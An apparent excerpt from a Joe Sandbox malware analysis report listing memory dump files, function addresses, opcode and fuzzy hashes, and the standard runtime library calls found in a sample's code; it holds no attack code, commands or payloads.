Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: ad55610a019a0217c31ff93dce2e8faf3f3bf33c62dcfb50df404985261e76d1
Instruction ID: 43d03015bf874a4c4c33eeae86c754ea29a1cb899672127cdfe28a653228ab1a
Opcode Fuzzy Hash: ad55610a019a0217c31ff93dce2e8faf3f3bf33c62dcfb50df404985261e76d1
Instruction Fuzzy Hash: 4151CE72601A06AFDB299F54D881BBAB7A7EF10300F14452DE803972A1E732ED81CBD1

Function 00634C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00634C66
TypeidsEqual.LIBVCRUNTIME ref: 00634C8B
PMDtoOffset.LIBCMT ref: 00634CA1
PMDtoOffset.LIBCMT ref: 00634D22

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 7eaff4e634fd5a8d80103308395a3c3dfca309353aa4c2f4300385deca6ff49c
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: A3517A35A042099FDF11CF68C8816EEFBF6EF15354F14449AE851A7361DB32BA45CB90

Function 00602EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00602F5F
GetCurrentThreadId.KERNEL32 ref: 00602F7E
__Mtx_unlock.LIBCPMT ref: 00602FCC
__Cnd_broadcast.LIBCPMT ref: 00602FE3

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: d97fd5680e3908eac553b89cab6ca6d1dce7d358a736d914a25098b15dc770d0
Instruction ID: 5aea4c511a3f8615d9a9e578788468952972584f6770e0854460630974282667
Opcode Fuzzy Hash: d97fd5680e3908eac553b89cab6ca6d1dce7d358a736d914a25098b15dc770d0
Instruction Fuzzy Hash: 7441F0B0A816129FDB24DF65C944B9BB7E9FF14360F04452DE816D7380EB31EA00CB81

Function 0062DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0062DB64

Part of subcall function 00628F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00628F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0062DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0062DBE9
Concurrency::location::_Assign.LIBCMT ref: 0062DC56

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 99563566eda5fffc6a852305dbcaeee9d7d35e2832c2cca0e6dea8e4739dcccc
Instruction ID: 6abd81088cf157fb99e6f25c1c2a4f32e9cee7e1de6ae40c102d5f37e1f76523
Opcode Fuzzy Hash: 99563566eda5fffc6a852305dbcaeee9d7d35e2832c2cca0e6dea8e4739dcccc
Instruction Fuzzy Hash: DF41F370704620ABDF199B24D896BFDBB7AAF45310F0440ADE4065B382CB70AD45CBD5

Function 006256AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 006256F2
_InternalDeleteHelper.LIBCONCRT ref: 00625726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0062578B
SafeRWList.LIBCONCRT ref: 0062579A

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 4321f418ef67425f27aae69250d6cc2aa84b9227ec1a30da19b3ac9ae522944a
Instruction ID: 1dc1ff439f4b7342624cff054341eb1bd06ec970337ef2501d660b53ac239c49
Opcode Fuzzy Hash: 4321f418ef67425f27aae69250d6cc2aa84b9227ec1a30da19b3ac9ae522944a
Instruction Fuzzy Hash: B6310336B41A249FCB15DF20D885AAD77A7AF88710F184179E90A9B395DF30AD058B90

Function 00622CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00622D0F

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
